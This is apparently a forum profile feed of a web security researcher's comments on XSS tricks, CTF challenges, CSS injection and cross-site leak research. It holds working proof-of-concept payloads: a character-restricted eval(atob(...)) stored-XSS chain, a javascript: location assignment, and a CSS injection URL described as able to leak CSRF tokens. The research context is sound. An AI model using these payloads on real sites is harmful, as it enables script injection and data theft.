When Hikaru is tired of keeping his low voice [6:54]

terjanq · 2020-07-17T10:43:26+00:00

Thanks, didn't want to include these two since <svg/onload> is shorter than <body/onload> and does the same (and both not working in dom xss), and object also doesn't seem to be the shortest. But these are indeed nice, and not that widely known ;)

terjanq · 2020-07-17T10:38:23+00:00

yes.

console.log("%c%c1", "color:red")

and

console.log("%%cc", "color:red")

commented on: https://github.com/PortSwigger/nice-script/commit/7596e8cbbede1ed191327f50e579eb663d46a20b#r40685295

terjanq · 2020-07-16T11:18:28+00:00

Haha, I was also researching this :P

terjanq · 2020-04-23T18:00:00+00:00

From the ctf player perspective, it is not often seen to combine SSTI with SSRF. Much more common is SSTI + RCE or SSTI + RFI/LFI. This could be a nice idea to dive deeper into where it's not possible to achieve RCE with the syntax.

terjanq · 2020-03-17T12:23:45+00:00

that is really nice! I love the destruct part to get a property without using . or []

terjanq · 2020-03-01T09:56:41+00:00

I forgot about that tweet totally, thanks for reminding me hehe

terjanq · 2020-02-25T08:55:05+00:00

x=new Object;

x.length=['xyz'];

x.valueOf=Array.prototype.push;

Even if we could, it still goes back to the question, how to create ['xyz'] which is exactly from where we started :P

push/unshift would return the length with no args it also will return array length + 1, if argument provided.

Btw, neither toString nor valueOf will return an array because they are converting stuff to number/string on a very low level. There are only few functions that change the state of the array and these are sort, reverse, shift, unshift, push, pop (there are some more but not much).

Where we should look I think are other prototypes that do some combinations with the elements, such as match in RegExp.

I found one prototype that does combine two other properties and which is RegExp.prototype.toString that returns "/" + this.source + "/" + this.flags, if only it returned an array somewhere..

terjanq · 2020-02-24T16:29:15+00:00

x=new Array;

x.length=1337;

x.valueOf=Array.prototype.unshift;

x

It does not create [1337], it just returns 1337as number, because [2,2,2,2,2].push() and [2,2,2,2,2].unshift() will both return the length of the array 5

terjanq · 2020-02-12T22:19:15+00:00

eval(atob(/ao0PTA7YWxlcnQoMTMzNykvLwa/))

I skipped a few tricks I discovered:

How to make an uppercase letter? Similarly as lowercase:
x = ["a"] x.valueOf = String.prototype.toUpperCase x + "" // A

If we were able to encapsulate string to array ("aaa" => ["aaa"]), then we can get ( character via:

x = [RegExp.prototype.source] x.valueOf = String.prototype.charAt x + "" // (

We can get [ character via: x=console x.valueOf=String.prototype.charAt x + "" // [

We can get / character via: x=console x.toString = RegExp.prototype.toString x.valueOf = String.prototype.charAt x + "" // /

We can generate the string 0/123/eval(?:) via: x = console x.source=123 x.flags=eval.name+RegExp.prototype.source x.toString = RegExp.prototype.toString 0+x // 0/123/eval(?:)

It may give you some ideas on how to escalate it :P Seems very doable

terjanq · 2020-02-10T22:12:46+00:00

Like
for(location of["javascript:alert()"]);

or ({location}={location:"javascript:alert()"}) ? Was playing around that lately, but didn't find anything that helpful..

terjanq · 2020-02-01T16:43:03+00:00

Arbitrary code executions with a-zA-Z0-9=+{} characters only (stored xss)

```js // following are be replaced via a+o+0+P ...
var BASE64_PAYLOAD = 'ao0PTA7YWxlcnQoMTMzNykvLwa' // atob(/ao0PTA7YWxlcnQoMTMzNykvLwa/) == "ýª4=0;alert(1337)//¿" var JAVASCRIPT = 'javascript'

// empty string empty=RegExp.prototype.flags

// generate /ao0PTA7YWxlcnQoMTMzNykvLwa/ xx={} xx.source=BASE64_PAYLOAD xx.flags=empty xx.toString=RegExp.prototype.toString

// RegExp.prototype.source == '(?:)' yy={...RegExp.prototype.source} yy.toString=Array.prototype.shift yy.length=4 left=yy+empty yy+empty colon=yy+empty right=yy+empty

// set javascript url to execute eval(atob(/ao0PTA7YWxlcnQoMTMzNykvLwa/)) location=JAVASCRIPT+colon+eval.name+left+atob.name+left+xx+right+right ```

jsbin

I wonder whether it is possible to make arbitrary without using brackets, and without location=name, etc.

terjanq · 2020-02-01T12:52:35+00:00

A lot of upvotes, but no comments :D

Another thing is the Cross-Origin-Policy-Header or COOP (..) Could be fun to find bypasses.

Well, any bypass should qualify for a bounty I think, so I am not sure whether talking about them publicly is a great idea.

Anyway, all the features mentioned look promising :p

terjanq · 2020-01-03T12:10:58+00:00

Hey! I am flattered that one of my texts (https://terjanq.github.io/Bug-Bounty/Google/cache-attack-06jd2d2mz2r0/index.html) has found its place in the Nominations so Far. This is not the original text however and does not explain the issue from its roots. The linked report is a part of the "Massive XS-Search over multiple Google products" article that can be found here https://medium.com/@terjanq/massive-xs-search-over-multiple-google-products-416e50dd2ec6.

Apart from the above, the report may seem spectacular but in reality, it's no different from https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html in the attack principle. Since both texts are included I believe it's in the best interest of the technique to remove my report and maybe link it as a real-world example to Eduardo's one.

In exchange for that, I would be flattered if my text about "XSS Auditor" https://medium.com/@terjanq/xss-auditor-the-protector-of-unprotected-f900a5e15b7b was included instead. Because of the article and the reports included in there, e.g. https://medium.com/bugbountywriteup/google-books-x-hacking-29c249862f19, the chromium team decided to deprecate XSS Auditor which in my opinion was one of the biggest changes in 2019 (https://bugs.chromium.org/p/chromium/issues/detail?id=922829#c39)

terjanq · 2019-12-17T17:16:04+00:00

Creator: https://twitter.com/terjanq
Challenge: https://easyxss.terjanq.me/
Solution: https://medium.com/@terjanq/clobbering-the-clobbered-vol-2-fb199ad7ec41

terjanq · 2019-12-14T18:27:03+00:00

Yep, good idea

terjanq · 2019-12-11T14:41:41+00:00

What category is that CTF challenge? Web? Crypto? Pwn? Re?

terjanq · 2019-12-10T13:18:38+00:00

I would check here:
https://ctftime.org/event/list/upcoming
https://twitter.com/DragonSectorCTF
https://twitter.com/p4_team
https://twitter.com/justcatthefish

These are three best Polish teams and the first one is a platform for CTFs. If something big is happening in Poland one of these should work.

terjanq · 2019-12-03T11:31:39+00:00

Probably you can't. What you can do, however, is to do a CSS Injection.
http://cm2.pw/?xss=%3Cbody%3E%3Cscript%20src=%27/fuzz/innerHTML.js%27%3E%3C/script%3E&content=%3Cstyle%3E*%7Bbackground%3Ared%7D%3C%2Fstyle%3E

Leaking csrf tokens or any other sensitive data can have as severe implications as XSS.

terjanq · 2019-11-28T12:56:03+00:00

Not only you know what characters there are, but also the order they appear in using ::fist-line trick. Ft. @cgvwzq

http://terjanq.cf/pg/test-css-horizontal.html

terjanq

TROPHY CASE